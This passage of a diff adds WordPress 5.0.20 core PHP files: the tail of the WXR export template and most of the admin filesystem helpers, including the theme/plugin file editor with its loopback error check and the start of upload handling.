+		<wp:ping_status><?php echo wxr_cdata( $post->ping_status ); ?></wp:ping_status>
+		<wp:post_name><?php echo wxr_cdata( $post->post_name ); ?></wp:post_name>
+		<wp:status><?php echo wxr_cdata( $post->post_status ); ?></wp:status>
+		<wp:post_parent><?php echo intval( $post->post_parent ); ?></wp:post_parent>
+		<wp:menu_order><?php echo intval( $post->menu_order ); ?></wp:menu_order>
+		<wp:post_type><?php echo wxr_cdata( $post->post_type ); ?></wp:post_type>
+		<wp:post_password><?php echo wxr_cdata( $post->post_password ); ?></wp:post_password>
+		<wp:is_sticky><?php echo intval( $is_sticky ); ?></wp:is_sticky>
+<?php	if ( $post->post_type == 'attachment' ) : ?>
+		<wp:attachment_url><?php echo wxr_cdata( wp_get_attachment_url( $post->ID ) ); ?></wp:attachment_url>
+<?php 	endif; ?>
+<?php 	wxr_post_taxonomy(); ?>
+<?php	$postmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) );
+		foreach ( $postmeta as $meta ) :
+			/**
+			 * Filters whether to selectively skip post meta used for WXR exports.
+			 *
+			 * Returning a truthy value to the filter will skip the current meta
+			 * object from being exported.
+			 *
+			 * @since 3.3.0
+			 *
+			 * @param bool   $skip     Whether to skip the current post meta. Default false.
+			 * @param string $meta_key Current meta key.
+			 * @param object $meta     Current meta object.
+			 */
+			if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) )
+				continue;
+		?>
+		<wp:postmeta>
+			<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
+			<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
+		</wp:postmeta>
+<?php	endforeach;
+
+		$_comments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) );
+		$comments = array_map( 'get_comment', $_comments );
+		foreach ( $comments as $c ) : ?>
+		<wp:comment>
+			<wp:comment_id><?php echo intval( $c->comment_ID ); ?></wp:comment_id>
+			<wp:comment_author><?php echo wxr_cdata( $c->comment_author ); ?></wp:comment_author>
+			<wp:comment_author_email><?php echo wxr_cdata( $c->comment_author_email ); ?></wp:comment_author_email>
+			<wp:comment_author_url><?php echo esc_url_raw( $c->comment_author_url ); ?></wp:comment_author_url>
+			<wp:comment_author_IP><?php echo wxr_cdata( $c->comment_author_IP ); ?></wp:comment_author_IP>
+			<wp:comment_date><?php echo wxr_cdata( $c->comment_date ); ?></wp:comment_date>
+			<wp:comment_date_gmt><?php echo wxr_cdata( $c->comment_date_gmt ); ?></wp:comment_date_gmt>
+			<wp:comment_content><?php echo wxr_cdata( $c->comment_content ) ?></wp:comment_content>
+			<wp:comment_approved><?php echo wxr_cdata( $c->comment_approved ); ?></wp:comment_approved>
+			<wp:comment_type><?php echo wxr_cdata( $c->comment_type ); ?></wp:comment_type>
+			<wp:comment_parent><?php echo intval( $c->comment_parent ); ?></wp:comment_parent>
+			<wp:comment_user_id><?php echo intval( $c->user_id ); ?></wp:comment_user_id>
+<?php		$c_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) );
+			foreach ( $c_meta as $meta ) :
+				/**
+				 * Filters whether to selectively skip comment meta used for WXR exports.
+				 *
+				 * Returning a truthy value to the filter will skip the current meta
+				 * object from being exported.
+				 *
+				 * @since 4.0.0
+				 *
+				 * @param bool   $skip     Whether to skip the current comment meta. Default false.
+				 * @param string $meta_key Current meta key.
+				 * @param object $meta     Current meta object.
+				 */
+				if ( apply_filters( 'wxr_export_skip_commentmeta', false, $meta->meta_key, $meta ) ) {
+					continue;
+				}
+			?>
+			<wp:commentmeta>
+				<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
+				<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
+			</wp:commentmeta>
+<?php		endforeach; ?>
+		</wp:comment>
+<?php	endforeach; ?>
+	</item>
+<?php
+	}
+	}
+} ?>
+</channel>
+</rss>
+<?php
+}
Index: /tags/5.0.20/src/wp-admin/includes/file.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/file.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/file.php	(revision 56912)
@@ -0,0 +1,2250 @@
+<?php
+/**
+ * Filesystem API: Top-level functionality
+ *
+ * Functions for reading, writing, modifying, and deleting files on the file system.
+ * Includes functionality for theme-specific files as well as operations for uploading,
+ * archiving, and rendering output when necessary.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ * @since 2.3.0
+ */
+
+/** The descriptions for theme files. */
+$wp_file_descriptions = array(
+	'functions.php'         => __( 'Theme Functions' ),
+	'header.php'            => __( 'Theme Header' ),
+	'footer.php'            => __( 'Theme Footer' ),
+	'sidebar.php'           => __( 'Sidebar' ),
+	'comments.php'          => __( 'Comments' ),
+	'searchform.php'        => __( 'Search Form' ),
+	'404.php'               => __( '404 Template' ),
+	'link.php'              => __( 'Links Template' ),
+	// Archives
+	'index.php'             => __( 'Main Index Template' ),
+	'archive.php'           => __( 'Archives' ),
+	'author.php'            => __( 'Author Template' ),
+	'taxonomy.php'          => __( 'Taxonomy Template' ),
+	'category.php'          => __( 'Category Template' ),
+	'tag.php'               => __( 'Tag Template' ),
+	'home.php'              => __( 'Posts Page' ),
+	'search.php'            => __( 'Search Results' ),
+	'date.php'              => __( 'Date Template' ),
+	// Content
+	'singular.php'          => __( 'Singular Template' ),
+	'single.php'            => __( 'Single Post' ),
+	'page.php'              => __( 'Single Page' ),
+	'front-page.php'        => __( 'Homepage' ),
+	// Attachments
+	'attachment.php'        => __( 'Attachment Template' ),
+	'image.php'             => __( 'Image Attachment Template' ),
+	'video.php'             => __( 'Video Attachment Template' ),
+	'audio.php'             => __( 'Audio Attachment Template' ),
+	'application.php'       => __( 'Application Attachment Template' ),
+	// Embeds
+	'embed.php'             => __( 'Embed Template' ),
+	'embed-404.php'         => __( 'Embed 404 Template' ),
+	'embed-content.php'     => __( 'Embed Content Template' ),
+	'header-embed.php'      => __( 'Embed Header Template' ),
+	'footer-embed.php'      => __( 'Embed Footer Template' ),
+	// Stylesheets
+	'style.css'             => __( 'Stylesheet' ),
+	'editor-style.css'      => __( 'Visual Editor Stylesheet' ),
+	'editor-style-rtl.css'  => __( 'Visual Editor RTL Stylesheet' ),
+	'rtl.css'               => __( 'RTL Stylesheet' ),
+	// Other
+	'my-hacks.php'          => __( 'my-hacks.php (legacy hacks support)' ),
+	'.htaccess'             => __( '.htaccess (for rewrite rules )' ),
+	// Deprecated files
+	'wp-layout.css'         => __( 'Stylesheet' ),
+	'wp-comments.php'       => __( 'Comments Template' ),
+	'wp-comments-popup.php' => __( 'Popup Comments Template' ),
+	'comments-popup.php'    => __( 'Popup Comments' ),
+);
+
+/**
+ * Get the description for standard WordPress theme files and other various standard
+ * WordPress files
+ *
+ * @since 1.5.0
+ *
+ * @global array $wp_file_descriptions Theme file descriptions.
+ * @global array $allowed_files        List of allowed files.
+ * @param string $file Filesystem path or filename
+ * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist.
+ *                Appends 'Page Template' to basename of $file if the file is a page template
+ */
+function get_file_description( $file ) {
+	global $wp_file_descriptions, $allowed_files;
+
+	$dirname = pathinfo( $file, PATHINFO_DIRNAME );
+
+	$file_path = $allowed_files[ $file ];
+	if ( isset( $wp_file_descriptions[ basename( $file ) ] ) && '.' === $dirname ) {
+		return $wp_file_descriptions[ basename( $file ) ];
+	} elseif ( file_exists( $file_path ) && is_file( $file_path ) ) {
+		$template_data = implode( '', file( $file_path ) );
+		if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) ) {
+			return sprintf( __( '%s Page Template' ), _cleanup_header_comment( $name[1] ) );
+		}
+	}
+
+	return trim( basename( $file ) );
+}
+
+/**
+ * Get the absolute filesystem path to the root of the WordPress installation
+ *
+ * @since 1.5.0
+ *
+ * @return string Full filesystem path to the root of the WordPress installation
+ */
+function get_home_path() {
+	$home    = set_url_scheme( get_option( 'home' ), 'http' );
+	$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );
+	if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
+		$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
+		$pos = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
+		$home_path = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
+		$home_path = trailingslashit( $home_path );
+	} else {
+		$home_path = ABSPATH;
+	}
+
+	return str_replace( '\\', '/', $home_path );
+}
+
+/**
+ * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
+ * The depth of the recursiveness can be controlled by the $levels param.
+ *
+ * @since 2.6.0
+ * @since 4.9.0 Added the `$exclusions` parameter.
+ *
+ * @param string $folder Optional. Full path to folder. Default empty.
+ * @param int    $levels Optional. Levels of folders to follow, Default 100 (PHP Loop limit).
+ * @param array  $exclusions Optional. List of folders and files to skip.
+ * @return bool|array False on failure, Else array of files
+ */
+function list_files( $folder = '', $levels = 100, $exclusions = array() ) {
+	if ( empty( $folder ) ) {
+		return false;
+	}
+
+	$folder = trailingslashit( $folder );
+
+	if ( ! $levels ) {
+		return false;
+	}
+
+	$files = array();
+
+	$dir = @opendir( $folder );
+	if ( $dir ) {
+		while ( ( $file = readdir( $dir ) ) !== false ) {
+			// Skip current and parent folder links.
+			if ( in_array( $file, array( '.', '..' ), true ) ) {
+				continue;
+			}
+
+			// Skip hidden and excluded files.
+			if ( '.' === $file[0] || in_array( $file, $exclusions, true ) ) {
+				continue;
+			}
+
+			if ( is_dir( $folder . $file ) ) {
+				$files2 = list_files( $folder . $file, $levels - 1 );
+				if ( $files2 ) {
+					$files = array_merge($files, $files2 );
+				} else {
+					$files[] = $folder . $file . '/';
+				}
+			} else {
+				$files[] = $folder . $file;
+			}
+		}
+	}
+	@closedir( $dir );
+
+	return $files;
+}
+
+/**
+ * Get list of file extensions that are editable in plugins.
+ *
+ * @since 4.9.0
+ *
+ * @param string $plugin Plugin.
+ * @return array File extensions.
+ */
+function wp_get_plugin_file_editable_extensions( $plugin ) {
+
+	$editable_extensions = array(
+		'bash',
+		'conf',
+		'css',
+		'diff',
+		'htm',
+		'html',
+		'http',
+		'inc',
+		'include',
+		'js',
+		'json',
+		'jsx',
+		'less',
+		'md',
+		'patch',
+		'php',
+		'php3',
+		'php4',
+		'php5',
+		'php7',
+		'phps',
+		'phtml',
+		'sass',
+		'scss',
+		'sh',
+		'sql',
+		'svg',
+		'text',
+		'txt',
+		'xml',
+		'yaml',
+		'yml',
+	);
+
+	/**
+	 * Filters file type extensions editable in the plugin editor.
+	 *
+	 * @since 2.8.0
+	 * @since 4.9.0 Adds $plugin param.
+	 *
+	 * @param string $plugin Plugin file.
+	 * @param array $editable_extensions An array of editable plugin file extensions.
+	 */
+	$editable_extensions = (array) apply_filters( 'editable_extensions', $editable_extensions, $plugin );
+
+	return $editable_extensions;
+}
+
+/**
+ * Get list of file extensions that are editable for a given theme.
+ *
+ * @param WP_Theme $theme Theme.
+ * @return array File extensions.
+ */
+function wp_get_theme_file_editable_extensions( $theme ) {
+
+	$default_types = array(
+		'bash',
+		'conf',
+		'css',
+		'diff',
+		'htm',
+		'html',
+		'http',
+		'inc',
+		'include',
+		'js',
+		'json',
+		'jsx',
+		'less',
+		'md',
+		'patch',
+		'php',
+		'php3',
+		'php4',
+		'php5',
+		'php7',
+		'phps',
+		'phtml',
+		'sass',
+		'scss',
+		'sh',
+		'sql',
+		'svg',
+		'text',
+		'txt',
+		'xml',
+		'yaml',
+		'yml',
+	);
+
+	/**
+	 * Filters the list of file types allowed for editing in the Theme editor.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array    $default_types List of file types. Default types include 'php' and 'css'.
+	 * @param WP_Theme $theme         The current Theme object.
+	 */
+	$file_types = apply_filters( 'wp_theme_editor_filetypes', $default_types, $theme );
+
+	// Ensure that default types are still there.
+	return array_unique( array_merge( $file_types, $default_types ) );
+}
+
+/**
+ * Print file editor templates (for plugins and themes).
+ *
+ * @since 4.9.0
+ */
+function wp_print_file_editor_templates() {
+	?>
+	<script type="text/html" id="tmpl-wp-file-editor-notice">
+		<div class="notice inline notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.classes || '' }}">
+			<# if ( 'php_error' === data.code ) { #>
+				<p>
+					<?php
+					printf(
+						/* translators: %$1s is line number and %1$s is file path. */
+						__( 'Your PHP code changes were rolled back due to an error on line %1$s of file %2$s. Please fix and try saving again.' ),
+						'{{ data.line }}',
+						'{{ data.file }}'
+					);
+					?>
+				</p>
+				<pre>{{ data.message }}</pre>
+			<# } else if ( 'file_not_writable' === data.code ) { #>
+				<p><?php _e( 'You need to make this file writable before you can save your changes. See <a href="https://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.' ); ?></p>
+			<# } else { #>
+				<p>{{ data.message || data.code }}</p>
+
+				<# if ( 'lint_errors' === data.code ) { #>
+					<p>
+						<# var elementId = 'el-' + String( Math.random() ); #>
+						<input id="{{ elementId }}"  type="checkbox">
+						<label for="{{ elementId }}"><?php _e( 'Update anyway, even though it might break your site?' ); ?></label>
+					</p>
+				<# } #>
+			<# } #>
+			<# if ( data.dismissible ) { #>
+				<button type="button" class="notice-dismiss"><span class="screen-reader-text"><?php _e( 'Dismiss' ); ?></span></button>
+			<# } #>
+		</div>
+	</script>
+	<?php
+}
+
+/**
+ * Attempt to edit a file for a theme or plugin.
+ *
+ * When editing a PHP file, loopback requests will be made to the admin and the homepage
+ * to attempt to see if there is a fatal error introduced. If so, the PHP change will be
+ * reverted.
+ *
+ * @since 4.9.0
+ *
+ * @param array $args {
+ *     Args. Note that all of the arg values are already unslashed. They are, however,
+ *     coming straight from $_POST and are not validated or sanitized in any way.
+ *
+ *     @type string $file       Relative path to file.
+ *     @type string $plugin     Plugin being edited.
+ *     @type string $theme      Theme being edited.
+ *     @type string $newcontent New content for the file.
+ *     @type string $nonce      Nonce.
+ * }
+ * @return true|WP_Error True on success or `WP_Error` on failure.
+ */
+function wp_edit_theme_plugin_file( $args ) {
+	if ( empty( $args['file'] ) ) {
+		return new WP_Error( 'missing_file' );
+	}
+	$file = $args['file'];
+	if ( 0 !== validate_file( $file ) ) {
+		return new WP_Error( 'bad_file' );
+	}
+
+	if ( ! isset( $args['newcontent'] ) ) {
+		return new WP_Error( 'missing_content' );
+	}
+	$content = $args['newcontent'];
+
+	if ( ! isset( $args['nonce'] ) ) {
+		return new WP_Error( 'missing_nonce' );
+	}
+
+	$plugin = null;
+	$theme = null;
+	$real_file = null;
+	if ( ! empty( $args['plugin'] ) ) {
+		$plugin = $args['plugin'];
+
+		if ( ! current_user_can( 'edit_plugins' ) ) {
+			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit plugins for this site.' ) );
+		}
+
+		if ( ! wp_verify_nonce( $args['nonce'], 'edit-plugin_' . $file ) ) {
+			return new WP_Error( 'nonce_failure' );
+		}
+
+		if ( ! array_key_exists( $plugin, get_plugins() ) ) {
+			return new WP_Error( 'invalid_plugin' );
+		}
+
+		if ( 0 !== validate_file( $file, get_plugin_files( $plugin ) ) ) {
+			return new WP_Error( 'bad_plugin_file_path', __( 'Sorry, that file cannot be edited.' ) );
+		}
+
+		$editable_extensions = wp_get_plugin_file_editable_extensions( $plugin );
+
+		$real_file = WP_PLUGIN_DIR . '/' . $file;
+
+		$is_active = in_array(
+			$plugin,
+			(array) get_option( 'active_plugins', array() ),
+			true
+		);
+
+	} elseif ( ! empty( $args['theme'] ) ) {
+		$stylesheet = $args['theme'];
+		if ( 0 !== validate_file( $stylesheet ) ) {
+			return new WP_Error( 'bad_theme_path' );
+		}
+
+		if ( ! current_user_can( 'edit_themes' ) ) {
+			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit templates for this site.' ) );
+		}
+
+		$theme = wp_get_theme( $stylesheet );
+		if ( ! $theme->exists() ) {
+			return new WP_Error( 'non_existent_theme', __( 'The requested theme does not exist.' ) );
+		}
+
+		$real_file = $theme->get_stylesheet_directory() . '/' . $file;
+		if ( ! wp_verify_nonce( $args['nonce'], 'edit-theme_' . $real_file . $stylesheet ) ) {
+			return new WP_Error( 'nonce_failure' );
+		}
+
+		if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) {
+			return new WP_Error(
+				'theme_no_stylesheet',
+				__( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message()
+			);
+		}
+
+		$editable_extensions = wp_get_theme_file_editable_extensions( $theme );
+
+		$allowed_files = array();
+		foreach ( $editable_extensions as $type ) {
+			switch ( $type ) {
+				case 'php':
+					$allowed_files = array_merge( $allowed_files, $theme->get_files( 'php', -1 ) );
+					break;
+				case 'css':
+					$style_files = $theme->get_files( 'css', -1 );
+					$allowed_files['style.css'] = $style_files['style.css'];
+					$allowed_files = array_merge( $allowed_files, $style_files );
+					break;
+				default:
+					$allowed_files = array_merge( $allowed_files, $theme->get_files( $type, -1 ) );
+					break;
+			}
+		}
+
+		// Compare based on relative paths
+		if ( 0 !== validate_file( $file, array_keys( $allowed_files ) ) ) {
+			return new WP_Error( 'disallowed_theme_file', __( 'Sorry, that file cannot be edited.' ) );
+		}
+
+		$is_active = ( get_stylesheet() === $stylesheet || get_template() === $stylesheet );
+	} else {
+		return new WP_Error( 'missing_theme_or_plugin' );
+	}
+
+	// Ensure file is real.
+	if ( ! is_file( $real_file ) ) {
+		return new WP_Error( 'file_does_not_exist', __( 'No such file exists! Double check the name and try again.' ) );
+	}
+
+	// Ensure file extension is allowed.
+	$extension = null;
+	if ( preg_match( '/\.([^.]+)$/', $real_file, $matches ) ) {
+		$extension = strtolower( $matches[1] );
+		if ( ! in_array( $extension, $editable_extensions, true ) ) {
+			return new WP_Error( 'illegal_file_type', __( 'Files of this type are not editable.' ) );
+		}
+	}
+
+	$previous_content = file_get_contents( $real_file );
+
+	if ( ! is_writeable( $real_file ) ) {
+		return new WP_Error( 'file_not_writable' );
+	}
+
+	$f = fopen( $real_file, 'w+' );
+	if ( false === $f ) {
+		return new WP_Error( 'file_not_writable' );
+	}
+
+	$written = fwrite( $f, $content );
+	fclose( $f );
+	if ( false === $written ) {
+		return new WP_Error( 'unable_to_write', __( 'Unable to write to file.' ) );
+	}
+	if ( 'php' === $extension && function_exists( 'opcache_invalidate' ) ) {
+		opcache_invalidate( $real_file, true );
+	}
+
+	if ( $is_active && 'php' === $extension ) {
+
+		$scrape_key = md5( rand() );
+		$transient = 'scrape_key_' . $scrape_key;
+		$scrape_nonce = strval( rand() );
+		set_transient( $transient, $scrape_nonce, 60 ); // It shouldn't take more than 60 seconds to make the two loopback requests.
+
+		$cookies = wp_unslash( $_COOKIE );
+		$scrape_params = array(
+			'wp_scrape_key' => $scrape_key,
+			'wp_scrape_nonce' => $scrape_nonce,
+		);
+		$headers = array(
+			'Cache-Control' => 'no-cache',
+		);
+
+		// Include Basic auth in loopback requests.
+		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
+			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
+		}
+
+		// Make sure PHP process doesn't die before loopback requests complete.
+		@set_time_limit( 300 );
+
+		// Time to wait for loopback requests to finish.
+		$timeout = 100;
+
+		$needle_start = "###### wp_scraping_result_start:$scrape_key ######";
+		$needle_end = "###### wp_scraping_result_end:$scrape_key ######";
+
+		// Attempt loopback request to editor to see if user just whitescreened themselves.
+		if ( $plugin ) {
+			$url = add_query_arg( compact( 'plugin', 'file' ), admin_url( 'plugin-editor.php' ) );
+		} elseif ( isset( $stylesheet ) ) {
+			$url = add_query_arg(
+				array(
+					'theme' => $stylesheet,
+					'file' => $file,
+				),
+				admin_url( 'theme-editor.php' )
+			);
+		} else {
+			$url = admin_url();
+		}
+		$url = add_query_arg( $scrape_params, $url );
+		$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout' ) );
+		$body = wp_remote_retrieve_body( $r );
+		$scrape_result_position = strpos( $body, $needle_start );
+
+		$loopback_request_failure = array(
+			'code' => 'loopback_request_failed',
+			'message' => __( 'Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.' ),
+		);
+		$json_parse_failure = array(
+			'code' => 'json_parse_error',
+		);
+
+		$result = null;
+		if ( false === $scrape_result_position ) {
+			$result = $loopback_request_failure;
+		} else {
+			$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
+			$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
+			$result = json_decode( trim( $error_output ), true );
+			if ( empty( $result ) ) {
+				$result = $json_parse_failure;
+			}
+		}
+
+		// Try making request to homepage as well to see if visitors have been whitescreened.
+		if ( true === $result ) {
+			$url = home_url( '/' );
+			$url = add_query_arg( $scrape_params, $url );
+			$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout' ) );
+			$body = wp_remote_retrieve_body( $r );
+			$scrape_result_position = strpos( $body, $needle_start );
+
+			if ( false === $scrape_result_position ) {
+				$result = $loopback_request_failure;
+			} else {
+				$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
+				$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
+				$result = json_decode( trim( $error_output ), true );
+				if ( empty( $result ) ) {
+					$result = $json_parse_failure;
+				}
+			}
+		}
+
+		delete_transient( $transient );
+
+		if ( true !== $result ) {
+
+			// Roll-back file change.
+			file_put_contents( $real_file, $previous_content );
+			if ( function_exists( 'opcache_invalidate' ) ) {
+				opcache_invalidate( $real_file, true );
+			}
+
+			if ( ! isset( $result['message'] ) ) {
+				$message = __( 'Something went wrong.' );
+			} else {
+				$message = $result['message'];
+				unset( $result['message'] );
+			}
+			return new WP_Error( 'php_error', $message, $result );
+		}
+	}
+
+	if ( $theme instanceof WP_Theme ) {
+		$theme->cache_delete();
+	}
+
+	return true;
+}
+
+
+/**
+ * Returns a filename of a Temporary unique file.
+ * Please note that the calling function must unlink() this itself.
+ *
+ * The filename is based off the passed parameter or defaults to the current unix timestamp,
+ * while the directory can either be passed as well, or by leaving it blank, default to a writable temporary directory.
+ *
+ * @since 2.6.0
+ *
+ * @param string $filename Optional. Filename to base the Unique file off. Default empty.
+ * @param string $dir      Optional. Directory to store the file in. Default empty.
+ * @return string a writable filename
+ */
+function wp_tempnam( $filename = '', $dir = '' ) {
+	if ( empty( $dir ) ) {
+		$dir = get_temp_dir();
+	}
+
+	if ( empty( $filename ) || '.' == $filename || '/' == $filename || '\\' == $filename ) {
+		$filename = time();
+	}
+
+	// Use the basename of the given file without the extension as the name for the temporary directory
+	$temp_filename = basename( $filename );
+	$temp_filename = preg_replace( '|\.[^.]*$|', '', $temp_filename );
+
+	// If the folder is falsey, use its parent directory name instead.
+	if ( ! $temp_filename ) {
+		return wp_tempnam( dirname( $filename ), $dir );
+	}
+
+	// Suffix some random data to avoid filename conflicts
+	$temp_filename .= '-' . wp_generate_password( 6, false );
+	$temp_filename .= '.tmp';
+	$temp_filename = $dir . wp_unique_filename( $dir, $temp_filename );
+
+	$fp = @fopen( $temp_filename, 'x' );
+	if ( ! $fp && is_writable( $dir ) && file_exists( $temp_filename ) ) {
+		return wp_tempnam( $filename, $dir );
+	}
+	if ( $fp ) {
+		fclose( $fp );
+	}
+
+	return $temp_filename;
+}
+
+/**
+ * Makes sure that the file that was requested to be edited is allowed to be edited.
+ *
+ * Function will die if you are not allowed to edit the file.
+ *
+ * @since 1.5.0
+ *
+ * @param string $file          File the user is attempting to edit.
+ * @param array  $allowed_files Optional. Array of allowed files to edit, $file must match an entry exactly.
+ * @return string|null
+ */
+function validate_file_to_edit( $file, $allowed_files = array() ) {
+	$code = validate_file( $file, $allowed_files );
+
+	if (!$code )
+		return $file;
+
+	switch ( $code ) {
+		case 1 :
+			wp_die( __( 'Sorry, that file cannot be edited.' ) );
+
+		// case 2 :
+		// wp_die( __('Sorry, can&#8217;t call files with their real path.' ));
+
+		case 3 :
+			wp_die( __( 'Sorry, that file cannot be edited.' ) );
+	}
+}
+
+/**
+ * Handle PHP uploads in WordPress, sanitizing file names, checking extensions for mime type,
+ * and moving the file to the appropriate directory within the uploads directory.
+ *
+ * @access private
+ * @since 4.0.0
+ *
+ * @see wp_handle_upload_error
+ *
+ * @param array       $file      Reference to a single element of $_FILES. Call the function once for each uploaded file.
+ * @param array|false $overrides An associative array of names => values to override default variables. Default false.
+ * @param string      $time      Time formatted in 'yyyy/mm'.
+ * @param string      $action    Expected value for $_POST['action'].
+ * @return array On success, returns an associative array of file attributes. On failure, returns
+ *               $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ).
+ */
+function _wp_handle_upload( &$file, $overrides, $time, $action ) {
+	// The default error handler.
+	if ( ! function_exists( 'wp_handle_upload_error' ) ) {
+		function wp_handle_upload_error( &$file, $message ) {
+			return array( 'error' => $message );
+		}
+	}
+
+	/**
+	 * Filters the data for a file before it is uploaded to WordPress.
+	 *
+	 * The dynamic portion of the hook name, `$action`, refers to the post action.
+	 *
+	 * @since 2.9.0 as 'wp_handle_upload_prefilter'.
+	 * @since 4.0.0 Converted to a dynamic hook with `$action`.
+	 *
+	 * @param array $file An array of data for a single file.
+	 */
+	$file = apply_filters( "{$action}_prefilter", $file );
+
+	// You may define your own function and pass the name in $overrides['upload_error_handler']
+	$upload_error_handler = 'wp_handle_upload_error';
+	if ( isset( $overrides['upload_error_handler'] ) ) {
+		$upload_error_handler = $overrides['upload_error_handler'];
+	}
+
+	// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
+	if ( isset( $file['error'] ) && ! is_numeric( $file['error'] ) && $file['error'] ) {
+		return call_user_func_array( $upload_error_handler, array( &$file, $file['error'] ) );
+	}
+
+	// Install user overrides. Did we mention that this voids your warranty?
+
+	// You may define your own function and pass the name in $overrides['unique_filename_callback']
+	$unique_filename_callback = null;
+	if ( isset( $overrides['unique_filename_callback'] ) ) {
+		$unique_filename_callback = $overrides['unique_filename_callback'];
+	}
+
+	/*
+	 * This may not have orignially been intended to be overrideable,
+	 * but historically has been.
+	 */
+	if ( isset( $overrides['upload_error_strings'] ) ) {
+		$upload_error_strings = $overrides['upload_error_strings'];
+	} else {
+		// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
+		$upload_error_strings = array(
+			false,
+			__( 'The uploaded file exceeds the upload_max_filesize directive in php.ini.' ),
+			__( 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.' ),
+			__( 'The uploaded file was only partially uploaded.' ),
+			__( 'No file was uploaded.' ),
+			'',
+			__( 'Missing a temporary folder.' ),
+			__( 'Failed to write file to disk.' ),
+			__( 'File upload stopped by extension.' )
+		);
+	}
+
+	// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
+	$test_form = isset( $overrides['test_form'] ) ? $overrides['test_form'] : true;
+	$test_size = isset( $overrides['test_size'] ) ? $overrides['test_size'] : true;
+
+	// If you override this, you must provide $ext and $type!!
+	$test_type = isset( $overrides['test_type'] ) ? $overrides['test_type'] : true;
+	$mimes = isset( $overrides['mimes'] ) ? $overrides['mimes'] : false;
+
+	// A correct form post will pass this test.
+	if ( $test_form && ( ! isset( $_POST['action'] ) || ( $_POST['action'] != $action ) ) ) {
+		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Invalid form submission.' ) ) );
+	}
+	// A successful upload will pass this test. It makes no sense to override this one.
+	if ( isset( $file['error'] ) && $file['error'] > 0 ) {
+		return call_user_func_array( $upload_error_handler, array( &$file, $upload_error_strings[ $file['error'] ] ) );
+	}
+
+	$test_file_size = 'wp_handle_upload' === $action ? $file['size'] : filesize( $file['tmp_name'] );
+	// A non-empty file will pass this test.
+	if ( $test_size && ! ( $test_file_size > 0 ) ) {
+		if ( is_multisite() ) {
+			$error_msg = __( 'File is empty. Please upload something more substantial.' );
+		} else {
+			$error_msg = __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' );
+		}
+		return call_user_func_array( $upload_error_handler, array( &$file, $error_msg ) );
+	}
+
+	// A properly uploaded file will pass this test. There should be no reason to override this one.
+	$test_uploaded_file = 'wp_handle_upload' === $action ? @ is_uploaded_file( $file['tmp_name'] ) : @ is_file( $file['tmp_name'] );
+	if ( ! $test_uploaded_file ) {
+		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Specified file failed upload test.' ) ) );
+	}
+
+	// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
+	if ( $test_type ) {
+		$wp_filetype = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );
+		$ext = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext'];
+		$type = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type'];
+		$proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename'];
+
+		// Check to see if wp_check_filetype_and_ext() determined the filename was incorrect
+		if ( $proper_filename ) {
+			$file['name'] = $proper_filename;
+		}
+		if ( ( ! $type || !$ext ) && ! current_user_can( 'unfiltered_upload' ) ) {
